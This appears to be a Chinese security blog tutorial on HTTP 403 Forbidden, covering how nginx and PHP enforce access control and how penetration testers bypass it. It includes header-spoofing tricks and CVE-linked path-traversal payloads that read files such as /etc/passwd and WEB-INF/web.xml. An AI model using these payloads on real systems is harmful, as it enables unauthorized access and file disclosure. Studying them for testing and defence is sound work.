4XX问题
在HTTP协议中,规定多种响应状态码,标志着服务端对消息处理的结果并同时指导客户端的行为,比如101代表消息正在处理同时通信协议切换,200代表消息处理成功,301代表访问的资源改变了位置并通知客户端访问新的位置,400则代表客户端发送的请求消息有误,502代表服务端网关问题,无法访问到目标服务器。
在日常使用web服务过程中,我们可能经常遇到4XX、5XX问题,此时网页上会显示错误页面,并给出可能错误的原因。
今天主要来了解一下4XX问题中比较重要的403问题。
403含义
在HTTP协议中,状态码 403 Forbidden代表客户端错误,指的是服务器端有能力处理该请求,但是拒绝授权访问。由于请求信息中的部分内容,触发了安全策略,导致服务端拒绝处理。服务器通过配置安全策略,灵活的设置资源的访问权限,最简单的允许登陆的用户访问,禁止游客访问。
在渗透测试过程中,经常碰到由于没有权限访问页面或接口,导致无法继续测试。
下面以单节点和多节点的角度,即单个服务器或多个服务器组成的系统,分析WEB系统的安全控制。
单节点场景
单节点场景,一般用于服务端处理访问控制, 在服务器上配置安全策略,或由web程序对请求做统一的安全控制。当访问敏感资源时,服务端的安全策略或web程序特殊的处理,拒绝用户访问。
client ----> webserver
GET / ---> /index.html 200
GET /admin---> /admin --> 安全规则 --> 403
多节点场景
多节点场景,一般用于代理服务器处理访问控制 ,在代理服务器上配置安全策略。当访问敏感资源时,服务端的安全策略,使得请求无法到达后端服务器,拒绝用户访问。
通常在内网,外网划分下,比较常见,外网的用户想要访问web服务,需要通过代理服务器,则受到安全策略的限制。当用户可以直接访问到后端服务器时,则不受代理服务器上安全策略的限制。
client ---> proxy ---> webserver
# 通过代理服务器访问
GET / ---> 安全规则 ->转发 -> /index.html 200
GET /admin---> 安全规则 ->禁止访问 403
# 直接访问
GET / --> /index.html 200
GET /admin --> /admin 200
以burpsuite的在线场景,来举例说明,安全策略的限制,以及对抗的技术。
在线场景
单节点场景
请求方法绕过限制
直接访问敏感接口,401未认证
通过请求方法绕过限制
Host首部字段限制
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-authentication-bypass
后端程序中基于Host做权限划分,认为localhost的为本地管理员
替换请求中的Host字段内容,绕过限制
Referer绕过限制
https://portswigger.net/web-security/access-control/lab-referer-based-access-control
访问敏感接口,401未认证
通过以管理员操作出发敏感接口,发现其中只做了Referer
字段验证
多节点场景:
X-Original-URL字段绕过uri限制
多节点,代理服务器配置安全策略禁止访问/admin,但是后端框架支持X-Original-URL字段,
https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented
直接访问删除接口,403权限不够
X-Original-URL字段绕过
proxy: uri --> /
web: uri --> /admin/delete (资源映射)
去掉X-Original-URL字段, 两者都将请求uri映射到:/
安全策略分析
不管是服务器还是web程序,都可以设置安全策略进行访问控制。根据用户请求的信息不同,使用不同的安全策略。
从请求的信息,有几个出发点:
-
请求行,请求的uri,请求方法,协议,协议的版本
-
首部字段,Host, UA, Reffer, X-Forwarded-For
-
请求体(常见WAF的访问控制策略)
从信息的解析,匹配,到最后的安全策略执行,中间还涉及到请求信息的重写或处理,这一过程中,每一个环节的不当处理都可能导致绕过安全策略。
服务器安全策略样例
以nginx服务器配置为例:
基于请求方法限制:
location /admin {
# only POST
if ($request_method !~ ^POST$) {
return 405;
}
}
基于请求uri限制:
# 前缀匹配
location /admin {
return 403;
}
# 精确匹配
location = /flag/ {
# 配置...
return 403;
}
基于协议版本限制:
if ($server_protocol ~ "HTTP/1.0") {
return 426;
}
基于首部字段Host,UA,Referer字段访问限制, 一般服务器上这些用的比较少
# Host
location /admin {
if ($host != "localhost") {
return 403;
}
# Referer
location /admin {
if ($http_referer !~* "http://example.com"){
return 403;
}
}
# UA
location /admin {
if ($http_user_agent !~* "Mozilla") {
return 403;
}
}
基于ip地址的访问限制
# ip
location /admin {
allow 127.0.0.1/24;
deny all;
}
基于uri的路径重写(重点测试)
location /admin {
# rewrite ^/admin/(.*)$ /other/admin/$1 permanent;
rewrite ^/admin/(.*)$ /other/admin/$1 break;
}
程序安全策略样例
网站脚本程序, 也是通过请求中的信息,匹配不同的安全策略。
if ( request ? rule ){
action->response
}
以php语言为例,常见的访问控制
基于请求方法的访问控制
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
// 如果不是 POST 请求,则返回 405 方法不被允许
header('Allow: POST');
header('HTTP/1.1 405 Method Not Allowed');
exit;
}
基于uri的访问控制
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($uri === '/admin') {
// 执行某些操作
header('HTTP/1.1 403 Forbidden');
exit;
}
基于请求参数的访问控制
if (empty($_GET['api_key']) || $_GET['api_key'] !== 'expected_value') {
header('HTTP/1.1 403 Forbidden');
exit;
}
基于协议版本的访问控制
if (isset($_SERVER['SERVER_PROTOCOL']) && $_SERVER['SERVER_PROTOCOL'] == 'HTTP/1.1') {
// 允许的 HTTP/1.1 操作
} else {
// 可能返回一个错误或者执行降级操作
header('HTTP/1.1 426 Upgrade Required');
// 还可以提供升级的 URL 或者更多的信息
}
基于请求首部字段的访问控制,Host, UA, Referer,
$allowedHosts = ['example.com', 'www.example.com'];
if (!in_array($_SERVER['HTTP_HOST'], $allowedHosts)) {
header('HTTP/1.1 403 Forbidden');
exit('Access denied.');
}
$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($userAgent, 'UnwantedBot') !== false) {
header('HTTP/1.1 403 Forbidden');
exit;
}
$referer = $_SERVER['HTTP_REFERER'];
if (empty($referer) || parse_url($referer, PHP_URL_HOST) !== 'alloweddomain.com') {
header('HTTP/1.1 403 Forbidden');
exit;
}
基于ip地址
$allowedIPs = ['127.0.0.1'];
if (!in_array($_SERVER['HTTP_REMOTE_ADDR'], $allowedIPs)) {
header('HTTP/1.1 403 Forbidden');
exit;
}
$allowedIPs = ['127.0.0.1'];
if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {
header('HTTP/1.1 403 Forbidden');
exit;
}
常用的工具
不局限于上述的场景,403的绕过技术,在于对请求的修改,去突破限制,目前已有的工具如下。
byp4xx
https://github.com/lobuhi/byp4xx
bypass-403
https://github.com/iamj0ker/bypass-403
Burpsuite_403bypasser
https://github.com/sting8k/BurpSuite_403Bypasser
403bypasser
https://github.com/yunemse48/403bypasser
面对复杂的web场景, 可能会出现各式各样的畸形请求,但实际上这是服务器对畸形请求的处理不当,导致的安全策略失效。
以下是一些服务器或web框架对请求解析的特殊行为,实现的403绕过。
漏洞场景
单节点
nginx错误配置,导致重写uri时目录穿越
location /files {
alias /home/;
}
location /admin {
retrun 403;
}
/files../var/www/html/admin
apache uri解析问题和错误配置导致目录穿越
CVE-2021-41773,CVE-2021-42013
<Directory />
AllowOverride none
Require all denied
</Directory>
<Location /admin>
Require all denied
</Location>
/icons/.%2e/admin
/icons/.%%32%65/admin
node.js uri解析有误目录穿越
CVE-2017-14849
/static/../../../../foo/../../../etc/passwd
jetty uri中%2e绕过限制任意文件读取
CVE-2021-28164
/%2e/WEB-INF/web.xml
jetty uri中双重uri解码绕过限制文件读取
CVE-2021-28169
/static?/%2557EB-INF/web.xml
jetty uri中[.]的各种形式绕过文件读取
CVE-2021-34429
/a/b/..%00/c/d/..%00/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
JAVA request.getRequestURI() 绕过,ctf题目
if (request.getRequestURI().contains("..")) {
resp.getWriter().write("blacklist");
return;
}
if (request.getRequestURI().startsWith("/download")) {
resp.getWriter().write("unauthorized access");
} else {
chain.doFilter(req, resp);
}
直接通过 getRequestURI() 得到的 url 路径存在一些问题, 比如不会自动 urldecode, 也不会进行标准化 (去除多余的/
和..
)
//download?filename=%2e%2e/WEB-INF/web.xml
多节点
请求走私中利用请求体解析差异的绕过场景省略
基于uri解析差异问题,访问敏感接口
nginx-node,nginx-flask
由于不同节点对请求解析和处理的不一致,导致安全策略失效。
client ---> proxy(nginx) ---> webserver(node,flask)
nginx精准匹配,配置文件如下
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
web框架对特殊字节的处理以及接口处理的映射。
# nginx安全策略, 精确匹配
GET /admin --> /admin 安全策略生效
GET /admins --> /admin 安全策略不生效
GET /admin[0xa0] --> /admin 安全策略不生效
# [0xff]代表16进制的特殊字节
GET /admin --> /admin 接口处理逻辑
GET /admins --> /admins 接口处理逻辑
GET /admin[0xa0] --> /admin 接口处理逻辑
web框架 | 特殊字节 |
---|---|
Flask 3.0.2 | \x09 \x0a \x0b \x0c \x0d \x20 # ? |
node:18.13.0 -express 4.18.3 | \x09 \x0c \x20 # / ? \xa0 |
随着nginx版本不同,可能会对特殊字节的处理(400), 导致实际验证效果不同。
参考链接
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/403
https://portswigger.net/web-security/host-header/exploiting/lab-host-header-authentication-bypass
https://portswigger.net/web-security/access-control/lab-referer-based-access-control
https://portswigger.net/web-security/access-control/lab-url-based-access-control-can-be-circumvented
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)